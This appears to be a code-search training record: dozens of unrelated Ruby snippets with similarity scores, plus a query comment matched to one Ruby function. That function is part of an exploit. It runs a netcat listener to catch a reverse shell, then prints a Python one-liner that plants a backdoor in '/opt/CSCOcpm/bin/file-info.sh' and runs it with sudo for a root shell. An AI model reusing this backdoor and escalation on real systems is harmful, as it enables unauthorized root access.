"def set_default_properties\n keys = @resource_config[:model].keys\n if keys.include?(\"_id\")\n property :id, :w => :nobody\n end\n if keys.include?(\"created_at\")\n property :created_at, :w => :nobody\n end\n if keys.include?(\"updated_at\")\n property :updated_at, :w => :nobody\n end\n end",
"def deredisize_model\n Redisable.enqueue(:deredisize_model_metas, self.model_name.name)\n end",
"def model_class=(_arg0); end",
"def def_one_to_many(opts)\n super\n def_bulk_setter(opts) do |list|\n cur = send(opts[:name])\n instance_variable_set(\"@_#{opts[:name]}_add\", list.reject{ |v| cur.detect{ |v1| v.to_i == v1.pk } })\n instance_variable_set(\"@_#{opts[:name]}_remove\", cur.reject{ |v| list.detect{ |v1| v.pk == v1.to_i } })\n cur.replace(list)\n\n name = \"#{opts[:name]}\".singularize\n\n after_save_hook do\n instance_variable_get(\"@_#{opts[:name]}_remove\").each do |record|\n send(\"remove_#{name}\", record) if record\n end\n\n instance_variable_get(\"@_#{opts[:name]}_add\").each do |record|\n send(\"add_#{name}\", record) if record && !record.empty?\n end\n end\n end\n end",
"def set_meta\n puts 'meta'\n end",
"def construct_data\n add_properties(@adv_settings, :if_missing)\n super\n end",
"def set_one_to_one_associated_object(opts, o)\n if opts.dataset_need_primary_key? && new?\n delay_validate_associated_object(opts, o)\n after_create_hook { super(opts, o) }\n o\n else\n super\n end\n end",
"def assign_meta_search\n\t\t\tassign_attributes meta_search_1: \"#{display_id} #{title} #{description}\"\n\t\t\t\n\t\t\t# tempLocale = I18n.locale\n\t\t\t# I18n.locale = 'vi'\n\n\t\t\t# assign_attributes meta_search_1: \"#{display_id} #{id} #{street.name if street.present?} #{district.name.gsub('Quận', '') if district.present?} #{I18n.t('real_estate_type.name.' + real_estate_type.name) if real_estate_type.present?}\", meta_search_2: \"#{I18n.t('real_estate.attribute.' + (is_alley ? 'alley' : 'facade'))} #{province.name if province.present?}\", meta_search_3: \"#{user_type == 'user' ? \"#{user.full_name} #{user.email} #{user.phone_number}\" : \"#{contact_user.name} #{contact_user.email} #{contact_user.phone_number}\"} #{title.gsub('Quận', '').gsub('quận', '')}\"\n\n\t\t\t# I18n.locale = tempLocale\n\t\tend",
"def save_meta_value\n company.metadata.active.each do |md|\n case md.field_type\n when 'dropdown'\n meta_value = select_values.where(metadatum_id: md.id).first_or_initialize\n when 'textfield'\n meta_value = text_values.where(metadatum_id: md.id).first_or_initialize\n when 'textarea'\n meta_value = text_values.where(metadatum_id: md.id).first_or_initialize\n when 'checkbox'\n meta_value = checkbox_values.where(metadatum_id: md.id).first_or_initialize\n when 'date'\n meta_value = date_values.where(metadatum_id: md.id).first_or_initialize\n when 'datetime'\n meta_value = datetime_values.where(metadatum_id: md.id).first_or_initialize\n when 'number'\n meta_value = number_values.where(metadatum_id: md.id).first_or_initialize\n end\n meta_value.value = metadata[md.label]\n meta_value.save\n end\n end",
"def pre_initialize_fields\n end",
"def orm_patches_applied=(_arg0); end",
"def orm_patches_applied; end",
"def configure_models(model)\n model_queue.each do |o|\n o.each do |k, v|\n model.add_model k, v\n end unless o.nil?\n end\n end",
"def model=(_arg0); end",
"def model=(_arg0); end",
"def model=(_arg0); end",
"def model=(_arg0); end",
"def set_object_fields\n \n # source id\n ##marc_source_id = marc.get_marc_source_id\n ##self.id = marc_source_id if marc_source_id\n # FIXME how do we generate ids?\n #self.marc.set_id self.id\n \n # parent source\n parent = marc.get_parent\n # If the 773 link is removed, clear the source_id\n # But before save it so we can update the parent\n # source.\n @old_parent = source_id if !parent\n self.source_id = parent ? parent.id : nil\n \n # record type\n self.record_type = 2 if marc.is_holding?\n \n # std_title\n self.std_title, self.std_title_d = marc.get_std_title\n \n # composer\n self.composer, self.composer_d = marc.get_composer\n \n # siglum and ms_no\n # in A/1 we do not have 852 in the bibliographic data\n # instead we store in ms_no the Book RISM ID (old rism id)\n if RISM::BASE == \"a1\" and record_type == 0\n self.book_id = marc.get_book_rism_id\n else\n self.lib_siglum, self.shelf_mark = marc.get_siglum_and_shelf_mark\n end\n \n # ms_title for bibliographic records\n self.title, self.title_d = marc.get_source_title if self.record_type != 2\n \n # physical_condition and urls for holding records\n self.ms_condition, self.urls, self.image_urls = marc.get_ms_condition_and_urls if self.record_type == 2\n \n # miscallaneous\n self.language, self.date_from, self.date_to = marc.get_miscellaneous_values\n\n self.marc_source = self.marc.to_marc\n end",
"def set_attributes_from_etsy\n\t\tetsy_data = get_etsy_data\n\t\tlisting = etsy_data[\"results\"][0]\n\t\tself[:name] = listing[\"title\"]\n\t\tself[:description] = listing[\"description\"]\n\t\tself[:price] = listing[\"price\"]\n\t\tself[:quantity] = listing[\"quantity\"]\n\t\t# self[:style] = listing[\"style\"]\n\t\tself[:views] = listing[\"views\"]\n\t\tself[:photo_pic] = get_pictures_from_etsy\n\t\t\n\tend",
"def set_defaults\n #self.required_by_manufacturer ||= true\n end",
"def configure_model\n configure base_uri: base_uri\n Ladder::Config.register_model self unless Ladder::Config.models.include? self\n end",
"def prepare\n super\n end",
"def create_model_storage(repository, model)\n add_sequences(repository, model)\n without_notices { super }\n end",
"def set_attributes\n self.web_name = AppConfig.cloud[:name]\n if self.custom_image_id\n ci = CustomImage.find_by_id!(custom_image_id)\n self.cost = ci.price\n self.region = ci.region\n self.image_id = ci.remote_image_id\n\n #Map product_type or size_type since that is being used across the app.\n if ci.hosting == \"AWS\"\n pt = ProductType.find_by_memory!(ci.ram)\n self.product_type = pt.name\n self.size_type = nil\n elsif ci.hosting == \"DigitalOcean\"\n st = SizeType.find_by_memory!(ci.ram)\n self.size_type = st.size_id\n self.product_type = nil\n end\n else\n if type == \"AWS\"\n self.cost = ProductType.find_by_name(params[:product][:product_type]).cost_per_month\n elsif type == \"DigitalOcean\"\n self.cost = SizeType.find_by_size_id(params[:product][:size_type]).cost_per_month\n end\n end\n\n self.status = 'pending'\n end",
"def set_model_props(m)\n fields_to_set = action.context_mapping.keys.map{|k| k.split(\":=>\").first} - [\"type\"]\n fields_to_set.each do |f| \n value = self.send f.to_sym\n m.send \"#{f}=\".to_sym, value\n end\n end",
"def setup\r\n @model = Profile\r\n @record_one = Profile.find(1)\r\n @new_obj = {\r\n :bio => 'I am awesome',\r\n :user_id => 1,\r\n :address_line1 => ' 1600 Pennsylvania Avenue NW',\r\n :address_line2 => 'bunker #4',\r\n :city => 'Washington',\r\n :job_title=>'Manager',\r\n :company=>\"Uncle Sam's Military Surplus\",\r\n :state=> 'DC',\r\n :postal_code =>'20500',\r\n :telephone=>'202-456-1111',\r\n :fax=>'202-456-2461'\r\n }\r\n end",
"def set_metadata(*args)\n self.metadata.set(*args)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n @specialist_pool = args[:specialist_pool] if args.key?(:specialist_pool)\n end",
"def set_model txn\n txn.pixi? ? txn.temp_listings.first : txn\n end",
"def update_custom_make_model(permitted_params)\n if permitted_params[:custom_make_enabled].present? || permitted_params[:custom_model_enabled].present?\n self.custom_make_model_approved = false\n self.model = nil\n self.trim = nil\n elsif permitted_params[:custom_trim_enabled].present?\n self.custom_make_model_approved = false\n self.trim = nil\n else\n self.custom_make_model_approved = true\n self.custom_make_enabled = false\n self.custom_model_enabled = false\n self.custom_trim_enabled = false\n self.custom_make = nil\n self.custom_model = nil\n self.custom_trim = nil\n end\n end",
"def merge_metadata_from_model_into(data)\n @record.paper_trail_options[:meta].each do |k, v|\n data[k] = model_metadatum(v, data[:event])\n end\n end",
"def initialize_model\n { :def_class => BaseDefinition,\n :processes => [],\n :process_class => nil, :process_class_name => nil,\n :controller_class => nil, :controller_class_name => nil }\n end",
"def _metadata_dataset\n super.with_convert_smallint_to_bool(false)\n end",
"def preprocess_and_save\n process_attrs_before_write(self)\n return self.save()\n end",
"def preprocess_and_save\n process_attrs_before_write(self)\n return self.save()\n end",
"def after_from_gtfs(model_attr_hash)\n end",
"def add_meta_data\n kids_type = profile.kids_type\n create_meta_data(fname: kids_type.fname,fname_downcase: kids_type.fname.to_s.downcase,\n lname: kids_type.lname,lname_downcase: kids_type.lname.to_s.downcase,\n nickname: kids_type.nickname || kids_type.fname,nickname_downcase: kids_type.nickname.to_s.downcase || kids_type.fname.to_s.downcase,\n birthdate: kids_type.birthdate )\n end",
"def _before_validation\n if new? && (set = self[model.sti_key])\n exp = model.sti_key_chooser.call(self)\n if set != exp\n set_table = model.sti_class_from_key(set).table_name\n exp_table = model.sti_class_from_key(exp).table_name\n set_column_value(\"#{model.sti_key}=\", exp) if set_table != exp_table\n end\n end\n super\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end",
"def update!(**args)\n @generic_metadata = args[:generic_metadata] if args.key?(:generic_metadata)\n end"
] | [
"0.6431722",
"0.6431722",
"0.63014007",
"0.63014007",
"0.62962466",
"0.6275937",
"0.6189198",
"0.6114123",
"0.6085375",
"0.6068783",
"0.5951898",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58593124",
"0.58502334",
"0.5813539",
"0.57754815",
"0.57637256",
"0.5756881",
"0.575088",
"0.5734097",
"0.5716579",
"0.5642683",
"0.5629528",
"0.56277424",
"0.5620014",
"0.56188524",
"0.56158775",
"0.5590415",
"0.55806506",
"0.5509838",
"0.55052614",
"0.5503526",
"0.5502981",
"0.55006874",
"0.5497072",
"0.549614",
"0.54929256",
"0.54737544",
"0.54716766",
"0.5470402",
"0.54654175",
"0.5449542",
"0.5448863",
"0.54372317",
"0.54367924",
"0.54367924",
"0.54367924",
"0.54367924",
"0.5436703",
"0.54262584",
"0.5407833",
"0.54072547",
"0.5396201",
"0.5371018",
"0.5363301",
"0.5360996",
"0.53602695",
"0.5355396",
"0.53523916",
"0.5348176",
"0.53356856",
"0.5324352",
"0.532183",
"0.5320967",
"0.5317702",
"0.53148735",
"0.5307451",
"0.5305962",
"0.5302889",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186",
"0.5297186"
] | 0.0 | -1 |
Unfortunately I couldn't find a better way to make this interactive, so the user has to copy and paste the python command to write to the shell script and execute as sudo. Spent hours fighting with Ruby and trying to get this without user interaction, hopefully some Ruby God can enlighten me on how to do it properly. | def start_nc_thread(nc_port, jrmp_pid)
IO.popen("nc -lvkp #{nc_port.to_s} 2>&1").each do |line|
if line.include?('Connection from')
Process.kill("TERM", jrmp_pid)
Process.wait(jrmp_pid)
puts "[+] Shelly is here! Now to escalate your privileges to root, ".green.bold +
"copy and paste the following:".green.bold
puts %{python -c 'import os;f=open("/opt/CSCOcpm/bin/file-info.sh", "a+", 0);f.write("if [ \\"$1\\" == 1337 ];then\\n/bin/bash\\nfi\\n");f.close();os.system("sudo /opt/CSCOcpm/bin/file-info.sh 1337")'}
puts "[+] Press enter, then interact with the root shell,".green.bold +
" and press CTRL + C when done".green.bold
else
puts line
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_sudo\n return if @sudo\n\n prompt = (1..10).map { rand(255) }.pack('c')\n code = <<-RUBY\n $stdout.sync = true\n $stdout.set_encoding 'ascii-8bit'\n $stdin.set_encoding 'ascii-8bit'\n $stdout.write #{prompt.inspect}\n\n while size = $stdin.read(4)\n action, args = Marshal.load($stdin.read(size.unpack('N').first))\n\n case action\n when 'rm'\n args.select! { |f| File.file?(f) }\n File.unlink(*args) unless args.empty?\n when 'rmdir'\n args.select! do |f|\n File.directory?(f) && Dir.entries(f) == ['.', '..']\n end\n Dir.unlink(*args) unless args.empty?\n when 'forget'\n fork do\n $stdout.reopen('/dev/null')\n $stderr.reopen('/dev/null')\n exec 'pkgutil', '--forget', *args\n end\n Process.wait\n when 'quit' then exit\n end\n end\n RUBY\n\n @sudo = IO.popen(['sudo', '-p', 'Password: ', RbConfig.ruby, '-e', \"eval(#{code.lines.count}.times.to_a.map { $stdin.readline }.join)\"], 'w+')\n @sudo.write code\n\n @sudo.write gets until @sudo.read(prompt.bytesize) == prompt\n\n @sudo.sync = true\n @sudo.set_encoding 'ascii-8bit'\n\n at_exit do\n data = Marshal.dump(['quit', []])\n @sudo.write [data.bytesize, data].pack('Na*')\n end\n rescue Errno::ENOENT\n Process.wait\n exit 1\n end",
"def run_script(content)\n user_switch = \"\"\n\n unless @user == \"root\"\n user_switch = USER_SWITCH_COMMAND\n end\n\n wrapper = <<-EOF\n if [ -e /dev/fd/0 ]\n then\n #{user_switch} /bin/sh /dev/fd/0\n elif [ -e /dev/stdin ]\n then\n #{user_switch} /bin/sh /dev/stdin\n else\n echo \"Cannot find method of communicating with the shell via stdin\"\n exit 1\n fi\n EOF\n\n exec_ssh(wrapper, content)\n end",
"def sudo(cmd)\n run(cmd)\n end",
"def sudo_exec!(command, input = nil)\n stdout = String.new\n sudo_prompt = nil\n input_sent = !input\n \n ssh_channel = @net_ssh.open_channel do |channel|\n channel.request_pty do |_, success|\n raise \"Failed to get pty (interactive ssh session)\" unless success\n end\n channel.exec command do |_, success|\n raise \"Failed to exec command \\\"#{command}\\\"\" unless success\n channel.on_data do |_, data|\n stdout << data\n if sudo_prompt.nil?\n if /sudo[^\\n]*password/i =~ stdout\n sudo_prompt = true\n unless password = @live_ssh_credential.password\n raise ArgumentError, \"sudo requires password credential\" \n end\n channel.send_data \"#{password}\\n\"\n else\n lines = stdout.split(\"\\n\").map(&:strip).reject(&:empty?)\n unless lines.all? { |line| /sudo/ =~ line }\n sudo_prompt = false\n end\n end\n elsif !input_sent\n channel.send_data input\n channel.send_data \"\\004\"\n channel.eof!\n input_sent = true\n end\n end\n channel.on_extended_data { |_, _, data| stdout << data }\n end\n end\n ssh_channel.wait\n # Remove the sudo prompt from the output.\n sudo_prompt ? stdout[(stdout.index(\"\\n\") + 1)..-1] : stdout\n end",
"def shell_without_capturing_output(c,display,dry_run)\n if display then $stderr.print c+\"\\n\" end\n r = system(c) unless dry_run\n if r.nil? then\n return [false,$?]\n else\n return [true]\n end\n # for capturing output: http://stackoverflow.com/a/5970819/1142217\n # stdin, stdout, stderr, wait_thr = Open3.popen3('usermod', '-p', @options['shadow'], @options['username'])\n # stdout.gets(nil)\n # stderr.gets(nil)\n # exit_code = wait_thr.value\nend",
"def sudo (command)\n \"sudo #{command}\"\n end",
"def sudo_exec(sudo, command)\n # Execute the given command using sudo and return a hash with \n # stdout and rc results.\n # If there is a pipe, add sudo after it so the subsequent command is\n # also sudo sanitized.\n #puts \"Command to expand: #{command}\"\n #cmd_line = \"/usr/bin/sudo #{command.gsub(/\\|/, ' | /usr/bin/sudo ')}\"\n pipe_sub = \" | #{sudo} \"\n cmd_line = \"#{sudo} #{command.gsub(/\\|/, pipe_sub)}\"\n #puts \"Command to exec: #{cmd_line}\"\n result = Hash.new\n result[:stdout] = `#{cmd_line} 2>/dev/null`\n result[:rc] = $?.exitstatus\n return result\n end",
"def sudo_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:sudo, shell_command, input_query, response)\n end",
"def sudo_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:sudo, shell_command, input_query, response)\n end",
"def sudo(*args)\r\n if ENV[\"USER\"] != \"root\"\r\n command = \"sudo #{args.join(\" \")}\"\r\n puts \"Please enter your password (if requested) for executing the command '#{command}'\"\r\n else\r\n command = args.join(\" \")\r\n end\r\n\r\n exec command\r\n end",
"def run *args\n color \"$ \" + \"#{'sudo ' if $root}\" + Array(args).join(' ')\n return if $dry_run\n Kernel.system(*args)\nend",
"def sudo(script)\n use_sudo ? \"#{sudo_command} #{script}\" : script\n end",
"def sudo(shell, cmd, &blk)\n run_on_servers(shell, 'sudo sh -l -c', cmd, &blk)\n end",
"def execute_sudo_checked(cmd)\n if (su=run_as_sudo?)\n `sudo -u #{su} bash -l -c '#{cmd}'`.strip\n else\n `#{cmd}`.strip\n end\n end",
"def surun(command)\n password = fetch(:root_password, Capistrano::CLI.password_prompt(\"root password: \"))\n run(\"su - -c '#{command}'\") do |channel, stream, output|\n channel.send_data(\"#{password}n\") if output\n end\nend",
"def sudo\n \"sudo\"\n end",
"def shell_exec(cmd, doneStr = nil, _shell = nil, stdin = nil)\n return exec(cmd, doneStr, stdin) if @su_user.nil?\n ret = suexec(cmd, doneStr, stdin)\n # Remove escape character from the end of the line\n ret.sub!(/\\e$/, '')\n ret\n end",
"def sudo(*args)\n if args.last.kind_of? Hash then\n opts = args.last\n if opts[:env] && opts[:env][\"PATH\"] then\n path = opts[:env][\"PATH\"]\n args[0] = \"env PATH=#{path} #{args.first}\"\n end\n end\n args[0] = \"sudo #{args.first}\"\n systemu(*args)\n end",
"def record_shell_interaction(commands)\n ShellSimulator.new(commands).capture_output do\n load VIRTUAL_SHELL_PROGRAM\n end\nend",
"def sudo_and_watch_prompt(cmd, regex_to_watch)\n sudo cmd, :pty => true do |ch, stream, data|\n watch_prompt(ch, stream, data, regex_to_watch)\n end\nend",
"def remove_def_python_cmd\n puts \"Removing 'python' command to preserve system native python...\"\n sudo_cmd = ''\n if !File.writable?(@prefix_dir)\n sudo_cmd = \"sudo -H\"\n end\n del_python_cmd = [\n File.join($prefix_dir, \"bin/python\"),\n File.join($prefix_dir, \"bin/ipython\")\n ]\n del_python_cmd.each do |c|\n FileUtils.rm_rf(c)\n end\n end",
"def sudo(cmd, logger=nil, &block)\n begin\n require 'open4' unless defined?(::Open4)\n rescue LoadError => err\n puts \"you need open4 to run the sudo helper: gem install open4\"\n else\n logger.debug \"`sudo #{cmd}` ...\" if logger && logger.respond_to?(:debug)\n result = {}\n status = Open4.popen4(\"sudo #{cmd}\") do |pid, stdin_io, stdout_io, stderr_io|\n result[:out] = stdout_io.gets\n result[:err] = stderr_io.gets\n end\n if block\n block.call(status, status.success? ? result[:out] : result[:err])\n else\n status\n end\n end\n end",
"def as_execute(script)\n #from applescript gem, by Lucas Carlson\n osascript = `which osascript`\n if not osascript.empty? and File.executable?(osascript)\n raise AppleScriptError, \"osascript not found, make sure it is in the path\"\n else\n #result = `osascript -e \"#{script.gsub('\"', '\\\"')}\" 2>&1`\n result = `osascript -s s -e \"#{script.gsub('\"', '\\\"')}\"`\n if result =~ /execution error/\n raise AppleScriptError, result\n end\n result\n end\nend",
"def `(cmd) #` for highlighter\n case cmd\n #when /^roll\\ use/\n # can't run b/c of child shell\n when /^roll/\n cmd = cmd.sub('roll', 'ruby -Ilib bin/roll -')\n end\n stdout, stderr = shell.execute(cmd)\n#puts stdout\n#puts stderr\n @stdout = stdout\n @stderr = stderr\n raise \"#{stderr}\" if shell.status != 0\n return @stdout\nend",
"def autoscript\n res = []\n self.shell_scripts.executable.each do |s|\n res << s.contents\n end\n self.shell_scripts.replaceable.each do |s|\n res << \"cat <<EOF > #{s.filename}\\n#{s.contents.gsub(/\\r/, '')}\\nEOF\"\n res << \"chown #{s.owner} #{s.filename}\" unless s.owner.to_s.empty?\n res << \"chmod #{s.mode} #{s.filename}\" unless s.mode.to_s.empty?\n end\n \"#!/bin/bash\\n#{res.join(\"\\n\")}\"\n end",
"def sudoers_d_script( user, opts = {} )\n \"#!/bin/sh -e\\n\" + sudoers_d_commands( user, opts )\n end",
"def run_privileged *args\n args = if args.length > 1\n\t args.first == \"/usr/bin/sudo\" ? args : args.unshift(\"/usr/bin/sudo\")\n\t else\n\t \"/usr/bin/sudo #{args.first}\"\n\t end\n end",
"def shell_exec(cmd, done_string = nil, _shell = nil, stdin = nil)\n return exec(cmd, done_string, stdin) if @su_user.nil?\n ret = suexec(cmd, done_string, stdin)\n # Remove escape character from the end of the line\n ret.sub!(/\\e$/, '')\n ret\n end",
"def devbox_user_command(cmd)\n command(\"sudo -u vagrant bash -i -c '#{cmd}; exit $?'\")\nend",
"def execute(sub_argv)\n require 'irb'\n\n $logger.info \"InteractiveRubyShell, sub_argv = #{sub_argv}\"\n\n options = {}\n\n opts = OptionParser.new do |o|\n o.banner = 'Usage: openstudio interactive_ruby'\n end\n\n # Parse the options\n argv = parse_options(opts, sub_argv)\n return 0 if argv == nil\n\n $logger.debug(\"InteractiveRubyShell command: #{argv.inspect} #{options.inspect}\")\n\n unless argv == []\n $logger.error 'Extra arguments passed to the i command.'\n return 1\n end\n\n IRB.start_session(binding)\n\n 0\n end",
"def sudo(command, log_action = true)\n command = \"#{SUDO}#{command}\"\n run(command,log_action)\n end",
"def process_shell_command\n command_line.set_prompt ':!'\n cmd = command_line.get_command(prompt: ':!')[1..-1]\n execute_external_command pause: true do\n system cmd\n end\n rescue Interrupt\n ensure\n command_line.clear\n command_line.noutrefresh\n end",
"def run_privileged *args\n args = if args.length > 1\n\t args.unshift \"/usr/bin/sudo\"\n\t else\n\t \"/usr/bin/sudo #{args.first}\"\n\t end\n end",
"def sudo_command(command)\n \"sudo #{command}\"\n end",
"def command\n return \"#{adjust_python_path} python #{kernel} #{args.join(' ')}\"\n end",
"def runpy(command)\n i = @python || @python_exe || 'python'\n if ::FFI::Platform.windows?\n o = %x(#{i} -c \"#{command}\" 2> NUL:)\n else\n o = %x(#{i} -c \"#{command}\" 2> /dev/null)\n end\n\n [ $?, o.chomp ]\n end",
"def cmd_shell(*args)\n\t\t\tpath = \"/bin/bash -i\"\n\t\t\tcmd_execute(\"-f\", path, \"-c\", \"-i\")\n\tend",
"def python\n RubyPython::Python::EXEC\n end",
"def run_with_input(shell_command, input_query=/^Password/, response=nil)\n handle_command_with_input(:run, shell_command, input_query, response)\nend",
"def tty! cmd=nil\n sync do\n cmd = [cmd, \"sh -il\"].compact.join \" && \"\n cmd = quote_cmd cmd\n\n pid = fork do\n exec \\\n ssh_cmd(sudo_cmd(env_cmd(cmd)), :flags => \"-t\").to_a.join(\" \")\n end\n Process.waitpid pid\n end\n end",
"def interactive_shell\n final_cmd = \"\"\n prompt = DEFAULT_PROMPT\n loop do\n cmd = readline(prompt)\n\n case cmd\n when \"\", \"\\\\\"\n next\n when \"exit\", nil\n finish\n break\n when /.?\\\\$/\n final_cmd += cmd.sub(/\\\\$/,\"\\n\")\n prompt = MULTILINE_PROMPT\n Readline::HISTORY.push(cmd)\n next\n else\n final_cmd += cmd\n Readline::HISTORY.push(cmd)\n end\n\n execute(final_cmd)\n final_cmd = \"\"\n prompt = DEFAULT_PROMPT\n end\n end",
"def mksudo(command)\n \"sudo sh -c '(#{command})'\"\n end",
"def sudo_wrap(cmd)\n return cmd unless @sudo\n return cmd if @user == \"root\"\n\n res = (@sudo_command || \"sudo\") + \" \"\n\n if @sudo_password\n str = safe_string(@sudo_password + \"\\n\")\n res = \"#{str} | #{res}-S \"\n end\n\n res << \"#{@sudo_options} \" if @sudo_options\n\n res + cmd\n end",
"def exec(command)\n command = \"sudo #{command}\"\n logger.debug \"Executing command: #{command}\"\n\n unless Config.dry_run\n Open3.popen3(command) { |stdin, stdout, stderr, wait_thr|\n pid = wait_thr.pid # pid of the started process.\n logger.debug \"Running pid: #{pid}\"\n\n logger.debug stdout.readlines\n\n exit_status = wait_thr.value.to_i # Process::Status object returned.\n logger.debug \"Exit status: #{exit_status}\"\n unless exit_status == 0\n logger.error 'Some error happended during execution:' \n logger.error stderr.readlines\n end\n }\n end\n end",
"def command\n return \"python -E #{kernel} #{args.join(' ')}\"\n end",
"def script_exec(session,scrptlst)\n\tprint_status(\"Running script List ...\")\n\tscrptlst.each do |scrpt|\n\t\tbegin\n\t\t\tprint_status \"\\trunning command #{scrpt}\"\n\n # Set up some local bindings.\n input = shell.input\n output = shell.output\n\n args = scrpt.split\n session.execute_script(args.shift, binding)\n rescue ::Exception => e\n print_error(\"Error: #{e.class} #{e}\")\n print_error(\"Error in script: #{scrpt}\")\n end\n end\nend",
"def sys(cmd, sensitive=[])\n sanitized = cmd.dup\n sensitive.each { |s| sanitized.gsub!(s, '...') }\n puts \"+ #{sanitized}\"\n\n system(cmd)\nend",
"def sudoifnotroot\n unless Process.uid == 0\n exit system(\"sudo\", $PROGRAM_NAME, *ARGV)\n end\nend",
"def sudo_prompt\n fetch(:sudo_prompt, \"sudo password: \")\n end",
"def shell(*) end",
"def install_command\n cmd = \"#{top.sudo} bash\"\n cmd += \" -s -- -v #{required_version}\" unless required_version.nil?\n cmd\n end",
"def sudo(*args, &block)\n if block.nil?\n run_command('sudo', args);\n else\n previous_state = @rye_sudo\n enable_sudo\n ret = self.instance_exec *args, &block\n @rye_sudo = previous_state\n ret \n end\n end",
"def generate_sudo_block\n # This would be better if sudoers allowed regex and repetition rather than simple shell globs like \"*\"\n command = self.command.gsub(/([\\\\\\:*?,\\(\\)\\[\\]!=])/m, '\\\\\\\\\\1') # escape sudo's special chars\n # {{date}} becomes a UTC iso-8601 datetime, like 2012-07-18 15:00\n command = command.gsub(/{{date}}/, '[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9]') # yyyy-mmm-dd HH-mm-ss\n command = command.gsub(/{{.*?}}/, '[A-z]*') # sadly this is equivalent to /[A-z].*/ in sudoers\n command = command.gsub(/[\"']/, '')\n config_line = \"# -- #{self.name} --\\nCmnd_Alias TCOMMAND_#{self.id} = #{command}\"\n config_line\n end",
"def sh(service) = execute(method: :shell, service: service)",
"def do_shell(cmd)\n puts \"[METASIM]:#{Dir.pwd}$ #{cmd}\"\n raise \"Shell command failure\" unless system(cmd)\nend",
"def ask_for_user_input(msg=nil, opts={})\n print msg if msg\n print \": \"\n STDOUT.flush\n if opts[:password]\n system \"stty -echo\"\n result = STDIN.gets\n system \"stty echo\"\n puts\n else\n result = STDIN.gets\n end\n result.chomp\nend",
"def shell(cmd)\n `#{cmd}`\n end",
"def shell(cmd)\n `#{cmd}`\n end",
"def local_os_shell\n cls\n banner\n prompt = \"(Local)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit$|^quit$|^back$/i\n puts \"OK, Returning to Main Menu\".light_red + \"....\".white\n break\n else\n begin\n rez = commandz(cmd) #Run command passed\n puts \"#{rez.join}\".cyan #print results nicely for user....\n rescue Errno::ENOENT => e\n puts \"#{e}\".light_red\n rescue => e\n puts \"#{e}\".light_red\n end\n end\n end\nend",
"def run_script(script, *args)\n output = Better::Tempfile.new('output')\n begin\n output.close\n \n ruby = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name']) + Config::CONFIG['EXEEXT']\n command = [ruby, File.join(File.dirname(__FILE__), script), output.path, *args]\n \n if system(*command)\n File.read(output.path)\n else\n raise \"Command failed: #{command.join(' ')}\"\n end\n ensure\n output.close if !output.closed?\n output.unlink\n end\nend",
